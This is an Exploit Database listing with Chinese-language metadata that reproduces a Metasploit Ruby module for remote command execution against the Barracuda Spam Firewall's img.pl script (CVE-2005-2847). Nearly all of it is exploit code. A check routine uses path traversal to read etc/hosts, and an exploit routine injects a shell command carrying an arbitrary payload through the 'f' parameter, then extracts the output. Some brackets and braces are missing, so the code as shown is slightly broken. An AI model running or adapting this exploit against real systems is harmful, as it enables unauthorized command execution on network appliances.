Barracuda – IMG.pl Remote Command Execution (Metasploit)

Exploit Database
138 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- webapps
平台：
- cgi
来源：https://www.exploit-db.com/exploits/16893/

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# $Id: barracuda_img_exec.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Barracuda IMG.PL Remote Command Execution',

'Description'=> %q{

This module exploits an arbitrary command execution vulnerability in the

Barracuda Spam Firewall appliance. Versions prior to3.1.18 are vulnerable.

'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

['CVE', '2005-2847'],

['OSVDB', '19279'],

['BID', '14712'],

['NSS', '19556'],

['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

'Space' => 4000,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl ruby bash telnet',

}

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Sep 01 2005',

'DefaultTarget' => 0))

register_options(

[

OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),

], self.class)

end

def check

res = send_request_cgi({

'uri'=> datastore['URI'],

'vars_get' =>

{

'f' => ("../" * 8) + "etc/hosts"

}

}, 25)

if (res and res.body.match(/localhost/))

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

res = send_request_cgi({

'uri'=> datastore['URI'],

'vars_get' =>

{

'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!

}

}, 25)

if (res)

print_status("The server returned: #{res.code} #{res.message}")

print("")

m = res.body.match(/YYY(.*)YYY/)

if (m)

print_status("Command output from the server:")

print(m[1])

else

print_status("This server may not be vulnerable")

end

else

print_status("No response from the server")

end